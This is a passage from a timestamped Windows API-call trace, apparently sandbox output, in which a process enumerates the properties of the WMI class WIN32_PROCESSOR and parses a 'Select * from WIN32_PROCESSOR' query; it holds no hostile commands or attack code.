varVal1="PowerManagementCapabilities", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="PowerManagementSupported", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.313] free (_Block=0x2cca40) [0148.314] malloc (_Size=0x18) returned 0x2cca40 [0148.314] lstrlenW (lpString="PowerManagementSupported") returned 24 [0148.314] lstrlenW (lpString="name") returned 4 [0148.314] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="PowerManagementSupported", cchCount2=24) returned 1 [0148.314] free (_Block=0x2cca40) [0148.314] IUnknown:Release (This=0x3e0460) returned 0x1 [0148.314] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.314] malloc (_Size=0x18) returned 0x2cca40 [0148.315] IWbemClassObject:Get (in: This=0x3e0710, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="PowerManagementSupported", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessorId", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.316] free (_Block=0x2cca40) [0148.316] malloc (_Size=0x18) returned 0x2cca40 [0148.316] IWbemClassObject:Get (in: This=0x3e0710, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="PowerManagementSupported", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessorId", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.316] free (_Block=0x2cca40) [0148.316] malloc (_Size=0x18) returned 0x2cca40 [0148.316] lstrlenW (lpString="ProcessorId") returned 11 [0148.316] lstrlenW (lpString="name") returned 4 [0148.316] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ProcessorId", cchCount2=11) returned 1 [0148.316] free (_Block=0x2cca40) [0148.316] IUnknown:Release (This=0x3e0710) returned 0x1 [0148.316] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.317] malloc (_Size=0x18) returned 0x2cca40 [0148.317] IWbemClassObject:Get (in: This=0x3e09c0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessorId", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessorType", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.317] free (_Block=0x2cca40) [0148.317] malloc (_Size=0x18) returned 0x2cca40 [0148.317] IWbemClassObject:Get (in: This=0x3e09c0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessorId", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessorType", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.317] free (_Block=0x2cca40) [0148.317] malloc (_Size=0x18) returned 0x2cca40 [0148.317] lstrlenW (lpString="ProcessorType") returned 13 [0148.317] lstrlenW (lpString="name") returned 4 [0148.318] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ProcessorType", cchCount2=13) returned 1 [0148.318] free (_Block=0x2cca40) [0148.318] IUnknown:Release (This=0x3e09c0) returned 0x1 [0148.318] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.318] malloc (_Size=0x18) returned 0x2cca40 [0148.318] IWbemClassObject:Get (in: This=0x3e0c70, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessorType", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Revision", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.318] free (_Block=0x2cca40) [0148.318] malloc (_Size=0x18) returned 0x2cca40 [0148.318] IWbemClassObject:Get (in: This=0x3e0c70, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessorType", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Revision", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.318] free (_Block=0x2cca40) [0148.318] malloc (_Size=0x18) returned 0x2cca40 [0148.319] lstrlenW (lpString="Revision") returned 8 [0148.319] lstrlenW (lpString="name") returned 4 [0148.319] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Revision", cchCount2=8) returned 1 [0148.319] free (_Block=0x2cca40) [0148.319] IUnknown:Release (This=0x3e0c70) returned 0x1 [0148.319] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.319] malloc (_Size=0x18) returned 0x2cca40 [0148.319] IWbemClassObject:Get (in: This=0x3e0f20, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Revision", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Role", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.319] free (_Block=0x2cca40) [0148.319] malloc (_Size=0x18) returned 0x2cca40 [0148.320] IWbemClassObject:Get (in: This=0x3e0f20, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Revision", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Role", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.320] free (_Block=0x2cca40) [0148.320] malloc (_Size=0x18) returned 0x2cca40 [0148.320] lstrlenW (lpString="Role") returned 4 [0148.320] lstrlenW (lpString="name") returned 4 [0148.320] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Role", cchCount2=4) returned 1 [0148.320] free (_Block=0x2cca40) [0148.320] IUnknown:Release (This=0x3e0f20) returned 0x1 [0148.320] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.320] malloc (_Size=0x18) returned 0x2cca40 [0148.321] IWbemClassObject:Get (in: This=0x3e45b0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Role", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="SocketDesignation", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.321] free (_Block=0x2cca40) [0148.321] malloc (_Size=0x18) returned 0x2cca40 [0148.321] IWbemClassObject:Get (in: This=0x3e45b0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Role", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SocketDesignation", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.321] free (_Block=0x2cca40) [0148.321] malloc (_Size=0x18) returned 0x2cca40 [0148.321] lstrlenW (lpString="SocketDesignation") returned 17 [0148.321] lstrlenW (lpString="name") returned 4 [0148.321] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="SocketDesignation", cchCount2=17) returned 1 [0148.321] free (_Block=0x2cca40) [0148.322] IUnknown:Release (This=0x3e45b0) returned 0x1 [0148.322] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.322] malloc (_Size=0x18) returned 0x2cca40 [0148.322] IWbemClassObject:Get (in: This=0x3e4860, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="SocketDesignation", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Status", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.322] free (_Block=0x2cca40) [0148.322] malloc (_Size=0x18) returned 0x2cca40 [0148.322] IWbemClassObject:Get (in: This=0x3e4860, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SocketDesignation", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Status", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.322] free (_Block=0x2cca40) [0148.322] malloc (_Size=0x18) returned 0x2cca40 [0148.322] lstrlenW (lpString="Status") returned 6 [0148.323] lstrlenW (lpString="name") returned 4 [0148.323] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Status", cchCount2=6) returned 1 [0148.323] free (_Block=0x2cca40) [0148.323] IUnknown:Release (This=0x3e4860) returned 0x1 [0148.323] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.323] malloc (_Size=0x18) returned 0x2cca40 [0148.323] IWbemClassObject:Get (in: This=0x3e4b10, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Status", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="StatusInfo", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.323] free (_Block=0x2cca40) [0148.323] malloc (_Size=0x18) returned 0x2cca40 [0148.323] IWbemClassObject:Get (in: This=0x3e4b10, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Status", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="StatusInfo", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.324] free (_Block=0x2cca40) [0148.324] malloc (_Size=0x18) returned 0x2cca40 [0148.324] lstrlenW (lpString="StatusInfo") returned 10 [0148.324] lstrlenW (lpString="name") returned 4 [0148.324] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="StatusInfo", cchCount2=10) returned 1 [0148.324] free (_Block=0x2cca40) [0148.324] IUnknown:Release (This=0x3e4b10) returned 0x1 [0148.324] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.324] malloc (_Size=0x18) returned 0x2cca40 [0148.324] IWbemClassObject:Get (in: This=0x3e4dc0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="StatusInfo", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Stepping", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.324] free (_Block=0x2cca40) [0148.325] malloc (_Size=0x18) returned 0x2cca40 [0148.325] IWbemClassObject:Get (in: This=0x3e4dc0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="StatusInfo", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Stepping", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.326] free (_Block=0x2cca40) [0148.326] malloc (_Size=0x18) returned 0x2cca40 [0148.326] lstrlenW (lpString="Stepping") returned 8 [0148.326] lstrlenW (lpString="name") returned 4 [0148.326] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Stepping", cchCount2=8) returned 1 [0148.326] free (_Block=0x2cca40) [0148.326] IUnknown:Release (This=0x3e4dc0) returned 0x1 [0148.328] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.328] malloc (_Size=0x18) returned 0x2cca40 [0148.328] IWbemClassObject:Get (in: This=0x3e5070, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Stepping", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="SystemCreationClassName", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.328] free (_Block=0x2cca40) [0148.328] malloc (_Size=0x18) returned 0x2cca40 [0148.328] IWbemClassObject:Get (in: This=0x3e5070, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Stepping", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SystemCreationClassName", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.328] free (_Block=0x2cca40) [0148.329] malloc (_Size=0x18) returned 0x2cca40 [0148.329] lstrlenW (lpString="SystemCreationClassName") returned 23 [0148.329] lstrlenW (lpString="name") returned 4 [0148.329] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="SystemCreationClassName", cchCount2=23) returned 1 [0148.329] free (_Block=0x2cca40) [0148.329] IUnknown:Release (This=0x3e5070) returned 0x1 [0148.329] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.329] malloc (_Size=0x18) returned 0x2cca40 [0148.329] IWbemClassObject:Get (in: This=0x3e5320, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="SystemCreationClassName", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="SystemName", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.329] free (_Block=0x2cca40) [0148.329] malloc (_Size=0x18) returned 0x2cca40 [0148.330] IWbemClassObject:Get (in: This=0x3e5320, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SystemCreationClassName", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SystemName", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.330] free (_Block=0x2cca40) [0148.330] malloc (_Size=0x18) returned 0x2cca40 [0148.330] lstrlenW (lpString="SystemName") returned 10 [0148.330] lstrlenW (lpString="name") returned 4 [0148.330] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="SystemName", cchCount2=10) returned 1 [0148.330] free (_Block=0x2cca40) [0148.330] IUnknown:Release (This=0x3e5320) returned 0x1 [0148.330] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.330] malloc (_Size=0x18) returned 0x2cca40 [0148.331] IWbemClassObject:Get (in: This=0x3e55d0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="SystemName", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="UniqueId", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.331] free (_Block=0x2cca40) [0148.331] malloc (_Size=0x18) returned 0x2cca40 [0148.331] IWbemClassObject:Get (in: This=0x3e55d0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SystemName", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="UniqueId", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.331] free (_Block=0x2cca40) [0148.332] malloc (_Size=0x18) returned 0x2cca40 [0148.332] lstrlenW (lpString="UniqueId") returned 8 [0148.332] lstrlenW (lpString="name") returned 4 [0148.332] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="UniqueId", cchCount2=8) returned 1 [0148.332] free (_Block=0x2cca40) [0148.332] IUnknown:Release (This=0x3e55d0) returned 0x1 [0148.332] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.332] malloc (_Size=0x18) returned 0x2cca40 [0148.332] IWbemClassObject:Get (in: This=0x3e5880, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="UniqueId", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="UpgradeMethod", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.332] free (_Block=0x2cca40) [0148.332] malloc (_Size=0x18) returned 0x2cca40 [0148.333] IWbemClassObject:Get (in: This=0x3e5880, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="UniqueId", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="UpgradeMethod", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.333] free (_Block=0x2cca40) [0148.333] malloc (_Size=0x18) returned 0x2cca40 [0148.333] lstrlenW (lpString="UpgradeMethod") returned 13 [0148.333] lstrlenW (lpString="name") returned 4 [0148.333] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="UpgradeMethod", cchCount2=13) returned 1 [0148.333] free (_Block=0x2cca40) [0148.333] IUnknown:Release (This=0x3e5880) returned 0x1 [0148.333] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.333] malloc (_Size=0x18) returned 0x2cca40 [0148.333] IWbemClassObject:Get (in: This=0x3e5b30, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="UpgradeMethod", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Version", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.334] free (_Block=0x2cca40) [0148.334] malloc (_Size=0x18) returned 0x2cca40 [0148.334] IWbemClassObject:Get (in: This=0x3e5b30, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="UpgradeMethod", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Version", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.334] free (_Block=0x2cca40) [0148.334] malloc (_Size=0x18) returned 0x2cca40 [0148.334] lstrlenW (lpString="Version") returned 7 [0148.334] lstrlenW (lpString="name") returned 4 [0148.334] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Version", cchCount2=7) returned 1 [0148.334] free (_Block=0x2cca40) [0148.334] IUnknown:Release (This=0x3e5b30) returned 0x1 [0148.334] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.334] malloc (_Size=0x18) returned 0x2cca40 [0148.334] IWbemClassObject:Get (in: This=0x3e5de0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Version", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="VoltageCaps", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.335] free (_Block=0x2cca40) [0148.335] malloc (_Size=0x18) returned 0x2cca40 [0148.335] IWbemClassObject:Get (in: This=0x3e5de0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Version", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VoltageCaps", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.335] free (_Block=0x2cca40) [0148.335] malloc (_Size=0x18) returned 0x2cca40 [0148.335] lstrlenW (lpString="VoltageCaps") returned 11 [0148.335] lstrlenW (lpString="name") returned 4 [0148.335] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="VoltageCaps", cchCount2=11) returned 1 [0148.335] free (_Block=0x2cca40) [0148.335] IUnknown:Release (This=0x3e5de0) returned 0x1 [0148.336] IUnknown:Release (This=0x398730) returned 0x1 [0148.336] IUnknown:Release (This=0x398260) returned 0x0 [0148.338] free (_Block=0x2cca20) [0148.338] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.338] free (_Block=0x2ccc10) [0148.338] malloc (_Size=0x70) returned 0x2ccc10 [0148.338] malloc (_Size=0x70) returned 0x2ccc90 [0148.338] malloc (_Size=0x48) returned 0x2ccdf0 [0148.338] malloc (_Size=0x8) returned 0x2cce40 [0148.338] lstrlenW (lpString="name") returned 4 [0148.338] lstrlenW (lpString="Name") returned 4 [0148.338] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Name", cchCount1=4, lpString2="name", cchCount2=4) returned 2 [0148.338] SysStringLen (param_1="Name") returned 0x4 [0148.338] malloc (_Size=0xa) returned 0x2cca20 [0148.339] SysStringLen (param_1="Name") returned 0x4 [0148.339] malloc (_Size=0x8) returned 0x2cce60 [0148.339] free (_Block=0x2cc9c0) [0148.339] lstrlenW (lpString="Name") returned 4 [0148.339] malloc (_Size=0xa) returned 0x2cc9c0 [0148.339] lstrlenW (lpString="Name") returned 4 [0148.339] free (_Block=0x2cca20) [0148.339] free (_Block=0x2cce60) [0148.339] free (_Block=0x2cce40) [0148.340] free (_Block=0x2ccdf0) [0148.340] free (_Block=0x2ccc90) [0148.340] free (_Block=0x2ccc10) [0148.340] lstrlenW (lpString="Select * from WIN32_PROCESSOR") returned 29 [0148.340] malloc (_Size=0x3c) returned 0x2ccc10 [0148.340] lstrlenW (lpString="Select * from WIN32_PROCESSOR") returned 29 [0148.340] wcstok (in: _String="Select * from WIN32_PROCESSOR", _Delimiter=" ", _Context=0xffffffffffffff40 | out: _String="Select", _Context=0xffffffffffffff40) returned="Select" [0148.341] malloc (_Size=0x18) returned 0x2cca20 [0148.341] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="*" [0148.341] lstrlenW (lpString="FROM") returned 4 [0148.341] lstrlenW (lpString="*") returned 1 [0148.341] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0148.341] malloc (_Size=0x18) returned 0x2cca40 [0148.341] free (_Block=0x2cca20) [0148.341] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x6e013800700006 | out: _String=0x0, _Context=0x6e013800700006) returned="from" [0148.341] lstrlenW (lpString="FROM") returned 4 [0148.341] lstrlenW (lpString="from") returned 4 [0148.341] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0148.341] malloc (_Size=0x18) returned 0x2cca20 [0148.342] free (_Block=0x2cca40) [0148.342] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x6e013900700006 | out: _String=0x0, _Context=0x6e013900700006) returned="WIN32_PROCESSOR" [0148.342] malloc (_Size=0x18) returned 0x2cca40 [0148.342] free (_Block=0x2cca20) [0148.342] free (_Block=0x2ccc10) [0148.342] free (_Block=0x2cca40) [0148.342] lstrlenW (lpString="SET") returned 3 [0148.343] lstrlenW (lpString="get") returned 3 [0148.343] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="SET", cchCount2=3) returned 1 [0148.343] lstrlenW (lpString="CREATE") returned 6 [0148.343] lstrlenW (lpString="get") returned 3 [0148.343] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="CREATE", cchCount2=6) returned 3 [0148.343] free (_Block=0x2cc920) [0148.343] malloc (_Size=0x8) returned 0x2ccc10 [0148.343] lstrlenW (lpString="GET") returned 3 [0148.343] lstrlenW (lpString="get") returned 3 [0148.343] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0148.343] free (_Block=0x2cc8e0) [0148.343] malloc (_Size=0x18) returned 0x2cc8e0 [0148.344] free (_Block=0x2cc8c0) [0148.344] malloc (_Size=0x18) returned 0x2cc8c0 [0148.344] ??0CHString@@QEAA@XZ () returned 0x1afc08 [0148.344] malloc (_Size=0x18) returned 0x2cc920 [0148.344] malloc (_Size=0x20) returned 0x2ccc30 [0148.344] memcpy_s (in: _Destination=0x2ccc30, _DestinationSize=0x1e, _Source=0x399418, _SourceSize=0x14 | out: _Destination=0x2ccc30) returned 0x0 [0148.344] lstrlenW (lpString="&") returned 1 [0148.344] lstrlenW (lpString="&") returned 5 [0148.344] lstrlenW (lpString="<") returned 1 [0148.344] lstrlenW (lpString="<") returned 4 [0148.344] lstrlenW (lpString=">") returned 1 [0148.344] lstrlenW (lpString=">") returned 4 [0148.344] lstrlenW (lpString="'") returned 1 [0148.344] lstrlenW (lpString="'") returned 6 [0148.345] lstrlenW (lpString="\"") returned 1 [0148.345] lstrlenW (lpString=""") returned 6 [0148.345] malloc (_Size=0x18) returned 0x2cca40 [0148.345] free (_Block=0x2cc920) [0148.345] free (_Block=0x2ccc30) [0148.345] ?Format@CHString@@QEAAXPEBGZZ () returned 0x2ccdfc [0148.348] malloc (_Size=0x18) returned 0x2cc920 [0148.348] malloc (_Size=0x18) returned 0x2cca20 [0148.348] SysStringLen (param_1="") returned 0x0 [0148.348] SysStringLen (param_1="") returned 0x1b [0148.348] memcpy (in: _Dst=0x396628, _Src=0x38f698, _Size=0x2 | out: _Dst=0x396628) returned 0x396628 [0148.348] memcpy (in: _Dst=0x396628, _Src=0x3965d8, _Size=0x38 | out: 